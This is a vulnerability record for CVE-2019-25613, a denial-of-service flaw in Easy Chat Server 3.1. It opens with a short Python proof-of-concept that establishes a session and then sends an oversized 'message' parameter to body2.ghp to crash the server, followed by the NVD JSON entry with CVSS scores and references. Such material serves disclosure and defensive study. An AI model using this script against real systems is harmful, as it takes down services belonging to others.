CVE-2019-25613

import requests def exploit(target_ip): target_url = f"http://{target_ip}" s = requests.Session() # Step 1: Establish session via chat.ghp try: s.get(f"{target_url}/chat.ghp") except requests.exceptions.RequestException as e: print(f"Connection failed: {e}") return # Step 2: Send malformed POST request to body2.ghp # Sending an oversized 'message' parameter to trigger the crash payload = { "message": "A" * 10000 # Oversized data } try: print(f"Sending exploit payload to {target_url}/body2.ghp...") response = s.post(f"{target_url}/body2.ghp", data=payload) print(f"Server responded with status: {response.status_code}") except requests.exceptions.ConnectionError: print("Service crashed (Connection reset by peer)") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with target IP exploit(target)

{"cve": {"id": "CVE-2019-25613", "sourceIdentifier": "[email protected]", "published": "2026-03-22T14:16:29.740", "lastModified": "2026-04-02T20:52:19.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Easy Chat Server 3.1 contains a denial of service vulnerability that allows remote attackers to crash the application by sending oversized data in the message parameter. Attackers can establish a session via the chat.ghp endpoint and then send a POST request to body2.ghp with an excessively large message parameter value to cause the service to crash."}, {"lang": "es", "value": "Easy Chat Server 3.1 contiene una vulnerabilidad de denegación de servicio que permite a atacantes remotos bloquear la aplicación enviando datos de tamaño excesivo en el parámetro message. Los atacantes pueden establecer una sesión a través del endpoint chat.ghp y luego enviar una solicitud POST a body2.ghp con un valor del parámetro message excesivamente grande para causar el bloqueo del servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-940"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:echatserver:easy_chat_server:3.1:*:*:*:*:*:*:*", "matchCriteriaId": "20AF962E-DD61-4EB0-9D7C-B58970080AB4"}]}]}], "references": [{"url": "http://www.echatserver.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "http://www.echatserver.com/ecssetup.exe", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.exploit-db.com/exploits/46806", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/easy-chat-server-denial-of-service-via-message-parameter", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}